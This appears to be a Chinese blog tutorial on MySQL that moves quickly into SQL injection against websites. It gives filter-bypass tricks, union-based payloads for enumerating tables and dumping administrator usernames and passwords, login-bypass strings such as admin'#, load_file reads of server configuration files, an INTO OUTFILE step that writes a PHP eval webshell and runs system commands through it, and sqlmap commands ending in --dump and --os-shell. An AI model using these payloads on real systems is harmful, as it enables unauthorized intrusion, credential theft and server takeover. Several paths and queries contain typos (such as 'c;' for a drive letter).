Mysql的注入

如果碰到防注入的一些过滤代码
可以用/**/,+%0a,代替空格 大小写的改变

mysql安装大家可以百度一下
linux安装的话可以用yum -y install httpd php-mysql
mysql mysql-server
Mysql
打开并启动下phpstudy
在这里插入图片描述然后点击其它选项菜单
选择MySQL工具
选择mysql命令行
在这里插入图片描述在这里插入图片描述然后输入密码 密码一般是root
在这里插入图片描述进入之后输入命令
show databases;
目的是看里边当前有哪些数据库
如果你想使用数据库就可以use 数据库名;
然后show tables;这个是看一下里边有哪些表
在这里插入图片描述如果想要查某一个表
select * from 表名;
在这里插入图片描述select user,password from 表名;
在这里插入图片描述这样就看到了
如果想创建一个数据库的话
create database xx;
在这里插入图片描述然后使用你创建的这个xx数据库
在数据库里创建一个表 名字叫username char类型数字长度50 密码 char类型 长度50
create table 表名(username char(50),password char(50));
在这里插入图片描述
就会创建一个表
添加数据 可以添加用户 密码 当然也可以加密用md5的函数把密码加密
insert into admin(username,password)values (‘admin’,md5(‘admin’));
然后你再用
select * from admin;来查看一下
在这里插入图片描述就能看到自己插入的内容了
如果你想要插入多行怎么做呢
就直接在刚才的语句后面加入,‘用户名’,‘密码’;就可以了
比如;insert into admin(username,password)values (‘admin’,md5(‘admin’)),(‘用户名’,‘密码’);
如果密码是加密的话还是md5(‘密码’);
在这里插入图片描述 所以可以一次性用逗号分隔开一次性插几行都可以.
如果要改数据的话
用update admin set password=‘123456’ where username=‘rgw’(意思就是修改密码为123456,修改稿谁的呢 就是where后面的 rgw用户的密码)
在这里插入图片描述这样就修改完成了.
那怎么删除呢
delete from admin where username=‘rgw’;
在这里插入图片描述那怎么删除表呢
drop table admin;
那怎么删除库呢(先使用别的库才能删除你要删除的库)
drop database 库名;
接下来我演示一下
在这里插入图片描述在这里插入图片描述这样 表和数据库就能够删除了
记住删除数据库一定要先使用别的数据库在删除你要删除的数据库

还有一些Msql数据库需要记住
在这里插入图片描述比如查看系统用户
select system_user();
查看当前版本
select version();
在这里插入图片描述比如查看当前数据库路径
select @@basedir;
在这里插入图片描述还有个命令可以是去查看读文件
select load_file(‘路径比如c;/文件名’);

Mysql数据库连接
在这里插入图片描述-config.php可能是配置文件.
data 或者include中可能找到
数据库结构对比.
在这里插入图片描述Mysql注入原理
与access是一样的
防注入绕过
大小写绕过
%00编码绕过.
判断入住
and 1=1 返回正常
and 1=2 返回不正常
说明存在注入
这种情况是无waf的
有的话就拦截了

/报错 -0正常这种waf是不拦截的

判断多少列
order by xx
order by 21正常 order by 22不正常 说明长度为21

union select 1,2,3,4,5,6,…(写到多少取决于他有多少列)
在网址前加一个 and 1=2 让它报错 页面会显示出错误 2 也可以在前面加- 也会报错 显示出2
那显示出的是什么呢?显示的是非数字类型,一些的字符类型一些列
在这里插入图片描述在这里插入图片描述为什么写1,2,3,4,5,6,7,8,9,为了更清晰的看出是那些列是数字类型的列
在这里插入图片描述比如这样就是在第二列 输入user()
暴出的错误就是相对应2列对应的用户名
在这里插入图片描述然后这个是第二列的数据库名称
暴出对应的就是第2列对应的数据库名称
如果在2列上查不出来东西 你的语句也没错 那就试试其他的列

UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8 from information_schema tables where table_schema=‘暴出的库名’
意思就是(指定这个数据库暴出表名) 有group_concat是能够暴出很多的表名 没有的话就有一个表名
在这里插入图片描述有些元素的话 显示的不是很完整可以右键用firebug查看元素
在这里插入图片描述然后把它给复制出来
然后就是看那个表里管理员的用户密码 因为我们要进后台 所以要看一些管理员的表
然后找到管理员表的名称
注意下 我们是用字符暴的
但这种直接的可能会出错
所以我们可以把数据库名称转成16进制在进行暴就可以了

然后继续 我们知道了管理员的表名称就可以暴表
在这里插入图片描述UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 from information_schema columns where table_name=‘就是你要暴的管理员表名’
这就是暴出表名下的一些列名

现在知道的管理员的表名 和管理员的列名

UNION SELECT 1,group_concat(表下得列名),3,4,5,6,7,8 from 就是你要暴的管理员表名
在这里插入图片描述这样就列出了管理员的表下的列名的用户密码

Mysql 4.0渗透
4.0就不能手工了
利用这些方法渗透
在这里插入图片描述手工必须是5.0以上的才能手工
在这里插入图片描述网页地址 union select 1,version(),2,3,4,5,6,7
所以以后测的时候要先看下版本
在这里插入图片描述Mysql显错注入

在这里插入图片描述在这里插入图片描述像这种的 有的就是用‘’单引号进行闭合的,我们在登录的时候 在后边加上一个单引号看是否报错,出现sql语句报错 那这就是显错注入
类似这种
在这里插入图片描述那显错注入怎么暴呢
在这里插入图片描述用这条语句就可以了
直接用这个语句放入登录账号上
在这里插入图片描述直接登录就可以了
在这里插入图片描述就会暴出这些,就能够暴出数据库
然后在这里插入图片描述再用这个语句 就能暴出数据库的
在这里插入图片描述这个是暴 版本的
在这里插入图片描述limit0,1交替就可以了
username改成password 就能暴出密码了
还有这些
直接用就可以了
有的暴出来是数字
进行转换就可以了

假如你知道账号的话 他还是用单引号闭合的话
可以在用户栏 那里填入正确的用户名在加个单引号和井号
比如 admin’# 这样可以绕过密码了
这个语句的意思就是 admin单引号和另一个单引号完成了闭合 #就是忽略掉后面的验证 就是注释掉 就是密码验证 所以不用登陆password密码也能完成登陆
在这里插入图片描述还可以
admin‘ or ’ 1=1’
这样也是可以的 2次的单引号闭合 有一个为真就

流程
先去找到一个登陆的网站
先加个单引号
admin‘
密码随便写
回车 看一下暴出来的问题
出现一些 you have erro sql 类似的字样就是显错注入
判断完事 显错注入就可以
用 admin’#
密码写不写都行 就可以直接登录了
或者 asda’ or ‘1’=‘1’#
密码也是随便写 就可以登录了
关键只在于闭合

Mysql读写函数的使用

在这里插入图片描述网址 UNION SELECT 1,load_file(c;/),3,4,5,6,7,8,9,10.
如果写window要写2个/
写linux写1个/
如果想要读网站的内容
获取网站根路径

就是让它报错在登录的时候 有时候也会把路径暴出来
在这里插入图片描述补充下 /etc/httpd/conf/httpd.conf
User/local/httpd/conf/httpd.conf
读取网站文件内容
在这里插入图片描述
比如想要读c盘的
可以用load_file命令
写入函数 into outfile
在这里插入图片描述怎么写入脚本文件?
在这里插入图片描述
网页 UNION SELECT 1,“<?php eval($_GET[x]);?>”,3,4,5,6,7,8,9,10 into outfile ‘c;/inetpub/wwwroot/8006/cracer.txt’
这个语句就把
第二列的位置写的就是一句话
后边 into outlife 是写的你知道的绝对路径 以及写入的文件名
写入的一句话木马后

网页 UNION SELECT 1,“<?php @eval($_GET[x]);?>”,3,4,5,6,7,8,9,10 into outfile ‘c;/inetpub/wwwroot/8006/cc.php’

加@符让它容一下错
要怎么执行代码呢
网址 cc.php?x=phpinfo();
在这里插入图片描述

这样就执行了代码
然后想要执行系统命令
网址 cc.php就可以看能不能执行了
cc.php?x=ipconfig这样就能进行一些操作了

利用注入漏洞执行系统命令.

在这里插入图片描述魔术引号与宽字节注入
在这里插入图片描述关于魔术单引号注入
在这里插入图片描述在这里插入图片描述
网页 UNION SELECT ,group_concat(username,password),3,4,5,6,7,8,9,10 from manage_user limit 2,1 –

sqlmap.py -u "你要测试的网址"
有注入的话
sqlmap.py -u “你要测试的网址” --is-dbs
看当前是不是管理员 如果是就返回true
如果是管理员
sqlmap.py -u “你要测试的网址” --dbs
列一下其他的数据库
sqlmap.py -u “你要测试的网址” --current-db
看一下当前自己的数据库
sqlmap.py -u “你要测试的网址” --tables -D 库名
看一下库里的表
sqlmap.py -u “你要测试的网址” --columns -T manage -D 库名
(主要是找管理员的这个表,要信息)
sqlmap.py -u “你要测试的网址” --dump -C m_name,m_pwd -T manage_user -D 库名
这里是下载数据 主要就是管理员用户密码
sqlmap.py -u “你要测试的网址” --os-shell
这个是可以执行系统命令了 这里会选择木马 上传的文件 以及一些路径 可以上传任意文件,这样就可以执行系统命令了
select version();
查看版本
select load_file(c;\路径) 这是读文件
在sqlmap里只能读 不能写

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值